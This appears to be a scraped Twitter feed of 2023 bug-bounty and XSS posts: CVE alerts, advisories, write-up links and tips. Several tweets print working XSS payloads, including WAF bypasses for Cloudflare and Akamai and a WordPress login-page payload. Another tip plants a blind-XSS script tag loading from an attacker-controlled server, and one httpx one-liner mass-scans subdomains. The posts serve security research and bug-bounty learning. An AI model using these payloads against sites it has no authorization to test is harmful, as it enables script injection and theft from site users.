Twitter Feed

profile

Rachid.A (zhero_) 🇵🇸

@blank_colda year ago

My write-up on my solution to the Intigriti XSS challenge has been selected, don't hesitate to take a look! 🧩 Thanks @intigriti! Here : https://t.co/QLivsjCNNb #CTF #Hacking #bugbountytips #bugbountytip https://t.co/a9VbeF8mwi

profile

Ziad Ali

@ziadali84681393a year ago

Exploit an unexploitable XSS via an open redirect — A Real-Life Scenario from a Hacker’s Mindset https://t.co/z3HBoRS8fn #infosec #cybersecurity #cybersecuritytips #pentesting #redteam #CyberSec #cyberattacks #cybersecurityawareness #bugbounty #bugbountytips #xss #medium

profile

Cristiano

@TheMsterDoctor1a year ago

@hakluke @hbenja_m How to hack web applications in 2023: Part 1 🚀 💻 Types of web apps ⚙️ Setting up for testing 🪲 RCE 🐞 SQLi 🐛 XXE 🪳 Insecure Deserialization 🐜 XSS And that's just Part 1! 😱 👇 #hacking #pentesting #bugbountytip https://t.co/23mql5Wuk9

profile

HackenProof

@HackenProofa year ago

Vuln: Stored XSS A persistent attack aims to inject malicious code into popular user-supplied input points, such as comments on blog posts, username fields, and message boards. #bugbounty #offensivesecurity https://t.co/3OqZFnnINU

profile

HADESS

@Hadess_securitya year ago

🧪 XSS Labs 1️⃣ node-react-dangerously-set-html-links https://t.co/ql3AyDhI5i 2️⃣ dotnet-can-you-see-your-reflection https://t.co/sO5qtvmVHF 3️⃣ java-reflected-xss https://t.co/eAfqy2tIvK #xss #appsec #securecoding #bugbounty #bugbountytips

profile

H1 Disclosed - Public Disclosures

@h1Discloseda year ago

⚡ Stored XSS in merge request pages 👨💻 mike12 ➟ GitLab 🟥 High 💰 $3,500 https://t.co/wTWRzBM22U #bugbounty #bugbountytips #cybersecurity https://t.co/wKp5mtZOZN

profile

Akanbi Oluwakunle Johnson

@akanbi_kunlea year ago

Good day, My journey in #XSS #BugBounty is getting more interesting and lovely. $ (Json) leads to a lot of rat role in a program if is not properly use. As a rogrammer is ideal to create different Folder for all your PROG language...@esther_hamzat @0x0SojalSec @cybergbeja

profile

CRAC Learning - Tech

@cracbota year ago

CVE-2023-27613 (CVSS:7.1, HIGH) is Received. Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in MonitorClick Forms Ada – Form Builder plugin <= 1.0 versio..https://t.co/O65YCMSXtL #cybersecurityawareness #cybersecurity #CVE #infosec #hacker #nvd #mitre

profile

ss0x00 🤞

@ss0x00a year ago

Automation found an easy DOM XSS in one of the H1 target. Takeaways: Running automation on a large scale works :) Article I discussed about this: https://t.co/b8lGMN9GmE #bugbounty #bugbountytips #automation https://t.co/0uBPAQnFEO

profile

cyb3r_ark97

@ironrafeliaa year ago

#cyb3r_ark97stipsntricks #1 When you want to create XSS payload for a subdomain of a target... Don't forget to look at the page source to see where your input is getting stored....if not then use Burp Suite intercept to see if the input gets transferred to an API #bugbounty

profile

VIEH Group

@viehgroupa year ago

The XSS Revolution: A Game-Changer in the Cybersecurity Landscape https://t.co/6fZSPehvFN #bug #bugs #bugbounty #bugbountytip #bugbountytips #hacking #hacker #ethicalhacking #ethicalhacker #ethicalhackers #cybersecurity

profile

EL Sayed Mohammed

@ElsayedMo77ameda year ago

My last submition @Bugcrowd Cross site scripting (xss) Html injection. Program vdp 🤡 #bugbountytip #bugbounty #xss #bugcrowd https://t.co/Y3qoWSMlPK

profile

BeyondMachines

@beyondmachines1a year ago

XSS Flaw Exposes Wordpress Beautiful Cookie Consent Banner plugin to attack campaign #cybersecurity #infosec #advisory #vulnerability https://t.co/wbqT4nDrsF

profile

Cybertix

@thecybertixa year ago

𝘽𝙪𝙜 𝙏𝙮𝙥𝙚: Blind XSS 🫣 𝙇𝙞𝙣𝙠: https://t.co/PCBVvU1w3y 𝙋𝙡𝙚𝙖𝙨𝙚 𝙎𝙝𝙖𝙧𝙚 𝙮𝙤𝙪𝙧 𝙑𝙞𝙚𝙬𝙨 & 𝙎𝙪𝙗𝙨𝙘𝙧𝙞𝙗𝙚 𝙩𝙤 𝙤𝙪𝙧 𝙔𝙤𝙪𝙏𝙪𝙗𝙚 𝙘𝙝𝙖𝙣𝙣𝙚𝙡🙏 𝙏𝙝𝙖𝙣𝙠𝙨 𝙚𝙫𝙚𝙧𝙮𝙤𝙣𝙚 𝙛𝙤𝙧 𝙮𝙤𝙪𝙧 𝙜𝙧𝙚𝙖𝙩 𝙎𝙪𝙥𝙥𝙤𝙧𝙩☺️ #bugbountytips #YouTube #bug https://t.co/uSt1b1iQBl

profile

Shah Sheikh

@shah_sheikha year ago

XSS Flaw Riddled Beautiful Cookie Consent Banner WP Plugin: Heads up, WordPress admins! It’s time to update your websites with the latest Beautiful Cookie… XSS Flaw Riddled Beautiful Cookie Consent Banner WP Plugin on Latest Hacking News | Cyber… https://t.co/u5lOnoxAUj https://t.co/iDIvgYMC6r

profile

Sayaan Alam

@ehsayaana year ago

Found a stored and blind xss on HackerOne through live support chat , <script> tag didn’t worked so I used <iframe src=“javascript:alert(document.domain)” /> and it did worked #bugbounty https://t.co/sVFmgS4YNH

profile

Md Maruf Hosan ⚡

@0xMarufa year ago

Script tag blocked? No more blind xss? Try blind HTML injection. Tip: "><img src=https://t.co/s4t6cjAdsb> #bugbountytips #bugbountytip #BugBounty

profile

CyberSherlockX

@cybersherlockxa year ago

Hi #bugbounty community, can you help me escalate an open redirect to XSS or SSRF? I have tried a few things, but I am unable to escalate it further. Your suggestions will be appreciated #bugbounty #infosec #cybersecurity @GodfatherOrwa @ADITYASHENDE17

profile

Ali Tütüncü

@alicanact60a year ago

@LiveOverflow @SaveToNotiom #bugbountytips #XSS #P1 #P0 Thx

profile

HackTube5

@HackTube5a year ago

CVE-2023-29489 Cpanel xss #cve #BugBounty #xss https://t.co/dPI81pYeR9

profile

CRAC Learning - Tech

@cracbota year ago

CVE-2023-33332 (CVSS:7.1, HIGH) is Received. Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in WooCommerce Product Vendors plugin <= 2.1.76 versions...https://t.co/85AutunaMR #cybersecurityawareness #cybersecurity #CVE #infosec #hacker #nvd #mitre

profile

CRAC Learning - Tech

@cracbota year ago

CVE-2023-33319 (CVSS:7.1, HIGH) is Received. Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in WooCommerce WooCommerce Follow-Up Emails (AutomateWoo) plu..https://t.co/LTLnE19Osh #cybersecurityawareness #cybersecurity #CVE #infosec #hacker #nvd #mitre

profile

CRAC Learning - Tech

@cracbota year ago

CVE-2023-32800 (CVSS:7.1, HIGH) is Received. Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in One Rank Math SEO PRO plugin <= 3.0.35 versions...https://t.co/MxsH5gXhGE #cybersecurityawareness #cybersecurity #CVE #infosec #hacker #nvd #mitre

profile

CRAC Learning - Tech

@cracbota year ago

CVE-2023-33326 (CVSS:7.1, HIGH) is Awaiting Analysis. Unauth. Reflected (XSS) Cross-Site Scripting (XSS) vulnerability in EventPrime plugin <= 2.8.6 versions...https://t.co/Le8nLL5Jea #cybersecurityawareness #cybersecurity #CVE #infosec #hacker #nvd #mitre

profile

CRAC Learning - Tech

@cracbota year ago

CVE-2023-33309 (CVSS:7.1, HIGH) is Awaiting Analysis. Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in Awesome Motive Duplicator Pro plugin <= 4.5.11 versions...https://t.co/Ep83piJSKH #cybersecurityawareness #cybersecurity #CVE #infosec #hacker #nvd #mitre

profile

Maham Farizul

@0xmahamseca year ago

Tips whenever you saw any email input field! 70% bug hunters don't try XSS there as compared to name field. always try this in email input field! "<img/src/onerror=alert(0)"@xss.com This don't work every time but give it a try found 2 XSS today using this! #bugbountytips

profile

hakluke 👨‍💻🚀

@haklukea year ago

How to hack web applications in 2023: Part 1 🚀 💻 Types of web apps ⚙️ Setting up for testing 🪲 RCE 🐞 SQLi 🐛 XXE 🪳 Insecure Deserialization 🐜 XSS And that's just Part 1! 😱 👇 #hacking #pentesting #bugbounty https://t.co/uHIDJu0if2

profile

Jambler.org

@NewsesBtca year ago

It's faster than zomato I reported vulnerability and within 30 minutes I got response from company.🤩🤑 It's an blind xss triggered on admin panel. #BugBounty #cybersecuritytips #ethicalhacking #xss https://t.co/fEPYypKp4t

profile

Rachid.A (zhero_) 🇵🇸

@blank_colda year ago

I admit, I spent a while on it. But I got arbitrary XSS on mozilla/chrome without limit - with 90 characters. Can't wait to see the colleagues' payloads. I will now write my report on @intigriti and go back to hunting 🏹 #BugBounty #infosec #CTF https://t.co/BKzJw8hZqi https://t.co/6g5lN51Ab7

profile

Amir Hossein

@amir_h_fallahia year ago

تو این ویدیو به بررسی XSS تو Vue.js پرداختم. که برای برنامه نویس ها و باگ هانترا و پن تسترا میتونه مفید واقع بشه امیدوارم خوشتون بیاد اسلاید ها: https://t.co/k3O4Kk1ltk https://t.co/RMNAeAHImq #AppSec #XSS #web_security #Vue #bugbounty #pentest

profile

WAF bypass

@waf_bypassa year ago

waf_bypass is sharing the best way to #bypass #WAF XSS Payloads - simple, effective & tested! 💡It's worth checking out for 🤗great results. 💻#infosec #cybersecurity #XSSpayload https://t.co/nRB2cNxmkt

profile

Mahshooq Zubair 

@mq_xz_a year ago

The XSS Revolution: A Game-Changer in the Cybersecurity Landscape by: thexssrat https://t.co/QM8iDtOZs7 #bugbounty #WriteUps

profile

Shubham Tiwari

@shubhamtiwari_ra year ago

Excited to share my Bug Bounty Script It automates security tests & reconnaissance for target domains including, web server scanning, subdomain enumeration XSS vulnerability scanning, and more!🐞🔍 Check it out GitHub: [https://t.co/gqvmvMqNyH] #BugBounty #SecurityTesting #bug

profile

Who Am I ?

@19who_am_i19a year ago

My New Reflected Xss write up , Check it out !!🖤 https://t.co/vyOFZc6bXI #bugbountytips #BugBounty #websecurity #cybersecuritytips #hackers #HackerOne

profile

LinuxSecurity Live Advisory Updates

@LS_Advisoriesa year ago

Cross site scripting (XSS) vulnerabilities were found in rainloop, a web based email client, which could lead to information disclosure including passphrase leak. Debian LTS... @lnxsec #DebianLTS #Linux #infosec #opensource #linuxsecurity https://t.co/loKeGkEn1K https://t.co/Oy5VJSEAwR

profile

Akanbi Oluwakunle Johnson

@akanbi_kunlea year ago

Just found a Reflected XSS on a site. The site uses java script Library, the site encode any XSS payload automatically. {Second Slide} Using URL encode to base64URL it shows the site is Vulnerable to Reflected XSS. ( First Slide) #bugbounty #BugBounty #bugbountytips https://t.co/tyudW4wIPN

profile

Osvaldo G Del Rio

@0sdelri0a year ago

Sharing a small XSS - BugBounty! :) https://t.co/1FGJnUzYcd

profile

Akanbi Oluwakunle Johnson

@akanbi_kunlea year ago

I am working on XSS alone anything about XSS Bug bounty. #Bugbounty #Xsspayloads #Burpsuite @0xblackbird thanks of the link. Will be submitting my first XSS Bug in a short time.

profile

VIEH Group

@viehgroupa year ago

Automated XSS at Scale | Powered by @pdiscoveryio | Creds: @_bughunter cat rootDomains.txt | assetfinder -subs-only | httpx -nc -silent -t 50 -p 80,443,8443,8080 -path "/?xss=\"</script><script>alert(\"XSS\")</script>" -mr "<script>alert(\"XSS\")</script>" #infosec #cybersec

profile

haksec.io

@haksecioa year ago

Pro hacking tip: Set keyboard shortcuts for your go to XSS and SQLi payloads!

profile

HackersNews.co.uk

@HackersNews247a year ago

Find Us @HackersNews247 For The Latest News Or Visit Our Website Hackers News! #Hacking #Hacked #HackersNews #hacker #Hackingtime #Anonymous #hacktheplanet #news #NewsUpdates https://t.co/ViTSIJ6qnw

profile

Hammad 🇵🇰

@Hammad7361a year ago

After 2 months of Triaged report I was awarded $$$ on @Bugcrowd #ItTakesACrowd #bugbounty Reward range was $100-$750 for P3 and they choosed to pay $100 😂, Submitted them 1 more XSS will have to wait 2 months again to get that $100 again 😂 https://t.co/nWn1is9Ind

profile

$@urabh $!ddh@®am $@nmane

@saurabhsanmane2a year ago

It's faster than zomato I reported vulnerability and within 30 minutes I got response from company.🤩🤑 It's an blind xss triggered on admin panel. #BugBounty #cybersecuritytips #ethicalhacking #xss https://t.co/0s8VX1d14S

profile

CRAC Learning - Tech

@cracbota year ago

CVE-2023-21516 (CVSS:7.5, HIGH) is Received. XSS vulnerability from InstantPlay in Galaxy Store prior to version 4.5.49.8 allows attackers to execute javascript API ..https://t.co/F1I2x1J7ME #cybersecurityawareness #cybersecurity #CVE #infosec #hacker #nvd #mitre

profile

CRAC Learning - Tech

@cracbota year ago

CVE-2023-29098 (CVSS:7.1, HIGH) is Awaiting Analysis. Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in ArtistScope CopySafe Web Protection plugin <= 3.13 version..https://t.co/JueoJEeuKx #cybersecurityawareness #cybersecurity #CVE #infosec #hacker #nvd #mitre

profile

Cyber Wiki

@theCyberWikia year ago

TOR Network - https://t.co/JkE9jtpcTi #CyberWiki #theCyberWiki #HackHunt #Hack #Hacker #Hacking #EthicalHacking #Network #EthicalHacker #Cybersecure #Cybersecurity #Vulnerable #Software #Pentesting #XSS #VAPT #Audit #Forensics #Coding #BugHunting #TOR #DarkWeb #OnionRouter https://t.co/uXGeMkOTs5

profile

im-ream.nft🗸

@im_reama year ago

@MeAsHacker_HNA @SaveToNotion #tweet #xss #bugbounty #tools

profile

WAF bypass

@waf_bypassa year ago

🤓 WAF_Bypass has shared great insights on how to #bypass #WAF XSS Payloads! 💡It's simple & effective. 🤗Check it out now for the best results. 💻 #infosec #cybersecurity #XSSpayload https://t.co/nRB2cNxmkt

profile

Infination Technology

@infinationa year ago

#bugbounty #discovery #exploitation #tooling #techniques #tradecraft #Expo #Gitlab #Trezor #Nokoyawa $MSFT #Windows #zeroday $GOOGL #GCP #CloudSQL #Zyxel #Barracuda #Wordpress #XSS #infosec #security

profile

Seribuakal

@Seribuakala year ago

XSS To RCE Exploits #infosec #cybersecurity #bugbounty #hacking #exploits #seribuakal #tips https://t.co/GbF68TG1Vi

profile

WAF bypass

@waf_bypassa year ago

Seribuakal shares 💡key insights on how to bypass #WAF XSS Payloads with simple yet effective techniques. 🤓Check it out now for the best results! 🤗https://t.co/nRB2cNxmkt #infosec #cybersecurity #XSSpayload

profile

Zack Security

@ZackSecutitya year ago

#BugBounty #bugbountytips #hackerspace #Linux #XSS #LFI #DeepWeb #websecurity #Apps #bugs #Web3 #webdevelopment https://t.co/xNvcY8Q2FE

profile

ASecurity

@asecurityinfoa year ago

Basic of XSS #asecurity #BugBounty #bugbountytips (1/2) https://t.co/haMO2ul27T

profile

Bug bounty notes

@bugbounty0a year ago

How I found DOM-Based XSS on Microsoft MSRC and How they fixed it #bugbounty #bugbountytip #infosec #bugbountytips https://t.co/3YsKYbAsPB

profile

ASecurity

@asecurityinfoa year ago

XSS BYPASS PAYLOAD #websecurity #asecurity #xss #payloads #bypass #xsspayloads #bugbounty #bugbountytips https://t.co/Eb6KMIgP01

profile

Thee Eclipse

@Thee_Eclipsea year ago

Its 30 days since: cPanel CVE-2023-29489 !! Time to hunt for it on bug bounty programs!! 🎩Did you know:: CVE-2023-29489 bypasses the 403 Forbidden error and renders XSS on the pages #BugBounty #bugbountytips #Hacking #CyberSecurityAwareness #intigriti #cpanel #ethicalhacking

profile

CRAC Learning - Tech

@cracbota year ago

CVE-2022-45366 (CVSS:7.1, HIGH) is Awaiting Analysis. Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in Jason Crouse, VeronaLabs Slimstat Analytics plugin <= 5.0...https://t.co/NWpId7p1oB #cybersecurityawareness #cybersecurity #CVE #infosec #hacker #nvd #mitre

profile

Linode

@linodea year ago

This week's security digest covers a Linux NetFilter use-after-free Kernel vulnerability, WordPress Core v6.2 XSS/CSRF/Directory Traversal vulnerabilities, and more: https://t.co/HLMIDgxP30 #InfoSec #CyberSecurity

profile

Bhagirath Saxena 🇮🇳

@rix4unia year ago

I need some help, i spend around 14 days on a program that have a wildcard *https://t.co/FbAW6BO1qd tested xss,lfi,sqli,ssrf,rce but not found anything, what you will recommend to stick this program or move other program @GodfatherOrwa @krishnsec @bug_vs_me #bugbounty

profile

Brier & Thorn México

@BrierandThornMXa year ago

Ataques en curso están dirigidos a una vulnerabilidad de secuencias de comandos entre sitios almacenados (XSS) no autenticadas en un complemento de consentimiento de cookies de #WordPress llamado Beautiful Cookie Consent Banner . #2023 #Infosec #BT https://t.co/If5F2VA3Py

profile

wtf_yodhha

@wtf_yodhhaa year ago

Bugbounty Tip✅✨ For Android devices, Modify the device name to your BXSS payload "><script/src=//yourserver.xss.ht>//" There is a possibility that the device name leading to blind XSS issues in various applications. #bugbountytips #bugbounty #ethicalhacking

profile

Joh

@ctfiraqa year ago

@h4x0r_dz Because it’s the real hacking Not just an xss you found in searchbar and you got 💲💲😆

profile

oolong

@hacksForOolonga year ago

Day 35 of #100DaysOfHacking Just solved : Web - Client/XSS DOM Based - Filters Bypass challenge on Root-Me :þ https://t.co/t0bUBHAojp @rootme_org #hacking #challenge #WebClient

profile

oolong

@hacksForOolonga year ago

Day 35 of #100DaysOfHacking Just solved : Web - Client/XSS DOM Based - Introduction challenge on Root-Me :þ https://t.co/Sl7iCcWhw0 @rootme_org #hacking #challenge #WebClient

profile

7h3h4ckv157

@7h3h4ckv157a year ago

XSS Via Qr Code https://t.co/Zt8qFKgua1 #xss #QR #WebsiteTesting #VulnerabilityAssesment #infosec #Medium #bug #bugbountytips #BugBounty #bugbountytip #Hacking

profile

7h3h4ckv157

@7h3h4ckv157a year ago

How I found a tricky XSS https://t.co/rD3Qj9wNVh #xss #bugbountytips #BugBounty #BugBounty #bug #infosec

profile

7h3h4ckv157

@7h3h4ckv157a year ago

How I found Reflected XSS in Users login page on Public Program ? https://t.co/tko1d2Unba #bugbountytips #BugBounty #bugbountytip #bug #XSS #infosec #Medium

profile

M S Munir 

@ms_munir_420a year ago

Reflected XSS Approach Credits: https://t.co/UWQKv6teqy #infosec #cybersecurity #cybersecuritytips #pentesting #redteam #informationsecurity #CyberSec #networking #networksecurity #infosecurity #cyberattacks #security #linux #cybersecurityawareness #bugbounty #bugbountytips https://t.co/X09lzEuwMN

profile

unpaired_electron

@Ajay_jachak24a year ago

The filename is reflected on a web page is there any way to execute the XSS here?? DM me #BugBounty #bugbountytips #HackerOne #BugCrowd https://t.co/vsTI34idFq

profile

LaneSystems Ltd

@LaneSystemsa year ago

#Hackers target 1.5M #WordPress sites with cookie consent plugin exploit https://t.co/rxbT3bcHRV Ongoing attacks for #XSS #vulnerability in #BeautifulCookieConsentBanner plugin. Upgrade to v2.10.2 #CyberSecurity #InfoSec #Patch

profile

Darren Ewers

@DarrenEwersa year ago

Hackers target 1.5M WordPress sites with cookie consent plugin exploit. Ongoing attacks are targeting an Unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in a WordPress cookie consent plugin https://t.co/04FM5mrriq #Hacking #Wordpress #hackers #HackersNews

profile

Ares Austria

@ares_austriaa year ago

@y3tiCrypto @dynexcoin Imagine being this lax about security, though. It's incredible. The Cloudflare WAF patches a simple XSS for the new domain, but there's more from where this came from for the explorer and new client wallet 😱 #infosec #security $DNX #dynex #CryptoTwitter https://t.co/SfyFWzeTcb https://t.co/oRTkSduNew

profile

Lohitaksh Nandan

@NandanLohitaksha year ago

Burpsuite Extensions for #XSS • XSS Validator • Reflected Parameters • DOM XSS Checks • Burp Hunter • Reflector • Feminda • BitBlinder #bugbounty #bugbountytips #hacking #pentesting #cybersecurity

profile

WAF bypass

@waf_bypassa year ago

Kudos to cyberninja8881 & SchoobyDrew for their 💪 teamwork to crack an XSS vuln & get a CVE! 🎉 Check out their blog post to learn how they bypassed a WAF. 🤓 #cybersecurity #infosec #WAF #XSS 🛡️ 🔐 🔗 https://t.co/dHjvyuRVO9

profile

MITUL KALSARIYA

@Mitulkalsariya2a year ago

Study common security vulnerabilities like SQL injection, cross-site scripting (XSS), and cross-site request forgery (CSRF). Familiarize yourself with cybersecurity concepts like encryption, authentication, and penetration testing. #InfoSec #CyberAwareness

profile

WAF bypass

@waf_bypassa year ago

Kudos to cyberninja8881 & SchoobyDrew for their 💪 teamwork to find an XSS vuln & get a CVE! 🤓 Read their blog post to find out how they bypassed a WAF. 🔗 https://t.co/dHjvyuRVO9 #cybersecurity #infosec #WAF #XSS 🛡️ 🔐

profile

Raj Haraniya

@rpharaniyaa year ago

@_Zer0Sec_ @SaveToNotion #tweet #bugbounty #xss

profile

Md Ismail Šojal

@0x0SojalSeca year ago

CloudFlare WAF bypass inside <A> tag or location=payload example.tld/#1/-alert(23)// javascript:Object.prototype.toString=RegExp.prototype.toString;Object.prototype.source=location.hash;[{}]+[]/**/instanceof{[Symbol.hasInstance]:eval} Credits: https://t.co/4PtYYK4tFr #infosec

profile

ႢႭႹႠ ႭႵႰႠႻႤ გოჩა ოქრაძე (Gocha Okradze)

@GochaOqradzea year ago

#bugbountytips #BugBounty @WebSecAcademy Self reflect XSS on the portswigger web security academy JWT lab https://t.co/9XFjRs5YIO via @YouTube

profile

Ali Alhamad علي الحمد

@proalialhamada year ago

أداة مفيدة وسريعة لاستخدام google dorks لالتقاط ثغرات xss و Open redirects و information disclosure https://t.co/u3ojhopttE #bugbountytips #BugBounty https://t.co/RekEqucNsc

profile

Md Ismail Šojal

@0x0SojalSeca year ago

Blind XSS All 📓 - https://t.co/7yL4G3AI7B - https://t.co/kMfCYBFuIf - https://t.co/aDLeQul8bG - https://t.co/MgoHmAJTKA - https://t.co/E0V4mTcKZ5 - https://t.co/X5zoaDnNw9 by @thecyberzeel https://t.co/sA7M5btOcW by @0xAwali #infosec #learn365 #bugbounty

profile

Masonhck357

@Masonhck3571a year ago

#Bugbountytips When hunting for Blind XSS, remember to use a unique identifier for each payload and log your steps meticulously. That way, when a delayed trigger hits your XSS Hunter account, you’ll know exactly where it came from. Stay patient, stay diligent! #masonhck357… https://t.co/TyowQlSNNl

profile

Shane Brighton

@shanebrightona year ago

Identify and Fix XSS Vulnerabilities in Your Web App https://t.co/uKEn5FmuDu #cloudsecurity #itsecurity #secops #infosec

profile

SearchEngineJournal®

@sejournala year ago

This #WordPress plugin makes your site vulnerable to Cross-Site Scripting (XSS) attacks https://t.co/inpjEwTLut #infosec #technicalseo https://t.co/Q394oBllXC

profile

Cybernoz

@Cybernozcoma year ago

The basics of Cross-site Scripting (XSS) https://t.co/c3Jw5EKVCZ #cybersecurity #cybersecuritynews #cybernews #infosec #informationsecurity

profile

Nova Security

@novasecioa year ago

2) Get more advanced: https://t.co/Dzu5fYsbHB https://t.co/YRBLEnYtv2 https://t.co/5GbWfT7eFD https://t.co/jCyyR7J7Gj https://t.co/6tR1JWndQP

profile

Nova Security

@novasecioa year ago

1) Learn the ropes: https://t.co/6XIC5SLsiO https://t.co/6L6Nx6zYp4 https://t.co/qKM288dujb https://t.co/CFjWZNjxre https://t.co/wNAVWhKDhA https://t.co/xUjwTRKTSA

profile

Cybertix

@thecybertixa year ago

𝘽𝙪𝙜 𝙏𝙮𝙥𝙚: Stored XSS Subscribe to our YouTube channel: 𝙇𝙞𝙣𝙠: https://t.co/c6zTMaPxRT #bugbountytips #bughunting #YouTube #shorts #Reels #hacking #Types #artificalintelligence #BugBounty #bugbountytip #money #PassiveIncome #automation #informationsecurity #bug #hack https://t.co/syR7iY3KHG

profile

LinuxSecurity Live Advisory Updates

@LS_Advisoriesa year ago

Fedora 38: dokuwiki 20239e5f85ad02 Update to hotfix release 20230404a (fixes an XSS vulnerability). Fedora Update Notification FEDORA20239e5f85ad02 20230524 01:16:03.410... @lnxsec #Fedora #Linux #infosec #opensource #linuxsecurity https://t.co/r5TNDYgOLL https://t.co/SUUnR55hox

profile

WAF bypass

@waf_bypassa year ago

Kudos to cyberninja8881 & SchoobyDrew for their teamwork to find XSS vuln & get a CVE! 💪 🤓 Check out their blog post to learn how they bypassed a WAF. 🔗 https://t.co/dHjvyuRVO9 #cybersecurity #infosec #WAF #XSS Aaron0n waf_bypass

profile

Save to Notion 

@SaveToNotiona year ago

@cobra0x011 This thread is saved to your Notion database. Tags: [Bugbountytips, Javascript, Xss]

profile

Cobra0x011 | DFIR

@cobra0x011a year ago

@micro0x00 @SaveToNotion #thread #bugbountytips #javascript #xss

profile

Clint Gibler

@clintgiblera year ago

🔖 A smorgasboard of a bug chain Chaining multiple vulnerabilities to achieve a 1-click CSRF attack: * An Insecure message event listener * A JSONP endpoint * A WAF Bypass * A DOM-based XSS * A permissive CORS configuration #bugbountytips By @jub0bs https://t.co/6cgZHPgdpZ

profile

Bug bounty notes

@bugbounty0a year ago

Cracked XSS — Intigriti Challenge 0223 by Dr. Leek #bugbounty #bugbountytip #infosec #bugbountytips https://t.co/0bk62YBVlU

profile

SOC Prime

@SOC_Primea year ago

#Sigma rule to detect CVE-2023-29489 exploitation attempts, a reflected #XSS #vulnerability in #cPanel exposing millions of websites worldwide to the risk of compromise. https://t.co/nSA50xqrLm #CVE #DFIR #infosec #threathunting #BlueTeam #threatdetection #infosec #exploit #SOC https://t.co/QZLY14Wy7b

profile

M7arm4n

@M7arm4na year ago

After a hard time to bypassing Akamai to pop up an XSS, Finally done. thanks to @brutelogic & @PortSwigger <a href="https://www.domain.tld/m7arm4n" contenteditable onbeforeinput="[origin].map(top['ale'+'rt'])" >here</a> #WAF #Bypass #bugbountytips https://t.co/ljF1YWDBjF

profile

Ashraf Abdelrazik

@ashabdelrazika year ago

Account Takeover Everywhere 🤨 Happy Hacking Month. #hackwithautomation #cybersecurity #crawler #bugbounty #infosec #bugbountytips #hacking #ChatGPT #xss #sqli #sqlinjection #pentesting #CTF #recon #hackerone #bugcrowd #ethicalhacking https://t.co/aLMQjYCmQ2

profile

Ashraf Abdelrazik

@ashabdelrazika year ago

XSS POC Videos https://t.co/ZffA3dQQFR #hackwithautomation #cybersecurity #crawler #bugbounty #infosec #bugbountytips #hacking #ChatGPT #xss #sqli #sqlinjection #pentesting #CTF #recon #hackerone #bugcrowd #ethicalhacking https://t.co/ZBhhuiCBus

profile

Eve🧚‍♀️

@ex16x41a year ago

Whats the (any) xss payload that got you a bc pr h1 submissions?? How did you weaponize it for poc? Was there specific web software or waf you bypassed? Im curious :^) #bugbountytips #curious #xss #hacking #bugcrowd #hackerone https://t.co/2RMTa46Qdw

profile

Patrik Fehrenbach

@ITSecurityguarda year ago

@bugbounty_memes Yes, this is an accurate tweet about an XSS in a Plugin Wordpress plugin :D

profile

Programmatic.Solutions

@Programmatorisa year ago

XSS with style attribute background-image - Visit https://t.co/MFuC2fUBwU for the solution. #xss #infosec #softwareengineer #softwareengineering #engineer

profile

insane_Coder

@AnounimMa year ago

i found the bypass for all *.stripe.com csp protection i'll use it with xss but still can't find xss #BugBounty

profile

H1 Disclosed - Public Disclosures

@h1Discloseda year ago

⚡ XSS vulnerability without a content security bypass in a `CUSTOM` App through Button tag 👨💻 @saajanbhujel ➟ Stripe 🟧 Medium 💰 $2,000 https://t.co/OFsGtTokky #bugbounty #bugbountytips #cybersecurity https://t.co/AbLfioOvEC

profile

H1 Disclosed - Public Disclosures

@h1Discloseda year ago

⚡ Possible XSS vulnerability without a content security bypass 👨💻 @saajanbhujel ➟ Stripe 🟧 Medium 💰 $2,000 https://t.co/o1BF60plul #bugbounty #bugbountytips #cybersecurity https://t.co/2qJAiUABXW

profile

Md Ismail Šojal

@0x0SojalSeca year ago

You can bypass Akamai WAF's XXE filters by HTML encoding the SYSTEM entity within a payload like this: <!DOCTYPE foo [<!ENTITY % a "<! ... omitted ... #infosec #bugbountytip #cybersecuritytips #xss

profile

Md Ismail Šojal

@0x0SojalSeca year ago

Blind XSS at scale 🔥🔥🔥 #infosec #bugbountytip #cybersecuritytips https://t.co/7lZpPe0VNV

profile

Md Ismail Šojal

@0x0SojalSeca year ago

This extension will help you to detect GET/POST based XSS vulnerability in any website easily - https://t.co/PIZCaKqXMl #infosec #bugbountytip #cybersecuritytips

profile

David Parkinson Frost

@ParkinsonFrosta year ago

Service outage in @MSFT365Status, @Cisco discloses a zero-day used in XSS attacks, Mirai botnet exploiting CVE-2023-1389, and much more for this week's infosec news! (Anybody else here have papyrophobia? 🥹🗒️🩸) Thanks @rskvp93 @_q5ca @hoangnx99 for the research efforts! https://t.co/qzJzsZzxWm

profile

CyberIQs

@CyberIQs_a year ago

Cisco XSS zero-day flaw and PaperCut vulnerabilities #infosec #infosecurity #cybersecurity #threatintel #threatintelligence #hacking #cybernews #cyberattack #cloudsecurity #malware #ransomware #cyber #threathunting #ZeroTrust #CISA https://t.co/Hu1tkKH4cQ

profile

M7arm4n

@M7arm4na year ago

Finally, After some while I reported my first blind XSS that was cooler than I think. Always spray blind XSS payload in every input and use Burp match and replace for headers. #BugBounty #bugbountytips #bugbountytip https://t.co/hzr2WmEtUT

profile

kro

@1337Kroa year ago

#wordpress #bugbountytips Login page xss payload:- /wp-login.php?wp_lang=%20=id=x+type=image%20id=xss%20onfoc%3C!%3Eusin+alert(1337)%0c https://t.co/9yMdruqXfL

profile

Save to Notion 

@SaveToNotiona year ago

@thek41234 Saved this Tweet to your Notion database. Tags: [Xss, Bugbounty, Tip, Automate]

profile

Thek41234

@thek41234a year ago

@bughunty @SaveToNotion #tweet #bugbounty #xss #tip #automate

profile

Open Source CVEs

@OpenSourceHacksa year ago

(CVE-2023-2361): Cross-site Scripting (XSS) - Stored in pimcore/pimcore. https://t.co/cMGybvolO6 Disclosed by https://t.co/r9ocxdn15q, fixed by pimcore maintainers... #opensource #CVE #bugbounty #security #vulnerability

profile

R3VEAL

@R3_VEALa year ago

Hall of fame in @auspost for the second time #BugBounty 😌❤️ #bugbountytip : Carefully observe every parameter and test for xss payloads. Make sure to customise your payload according to the site. 👨🏻‍💻 https://t.co/wAzmRhrfEs

profile

Cybertix

@thecybertixa year ago

